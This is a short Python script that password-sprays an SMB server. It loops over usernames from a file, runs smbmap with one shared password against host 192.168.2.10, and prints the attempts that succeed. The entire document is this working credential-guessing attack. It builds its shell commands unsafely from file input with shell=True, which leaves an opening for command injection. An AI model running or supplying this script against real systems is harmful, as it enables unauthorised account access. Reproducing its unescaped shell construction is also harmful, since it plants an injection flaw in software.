import subprocess

# read in users and strip the newlines
with open('/tmp/users.txt') as f:
    userlist = [line.rstrip() for line in f]

# get list of commands for each user
cmds = []
for user in userlist:
    cmds.append('smbmap -u {} -p p@ssw0rd -H 192.168.2.10'.format(user))

# results from the commands
results=[]

# execute the commands
for cmd in cmds:
    results.append(subprocess.call(cmd, shell=True))

# check for which worked
for i,result in enumerate(results):
    if result == 0:
        print(cmds[i])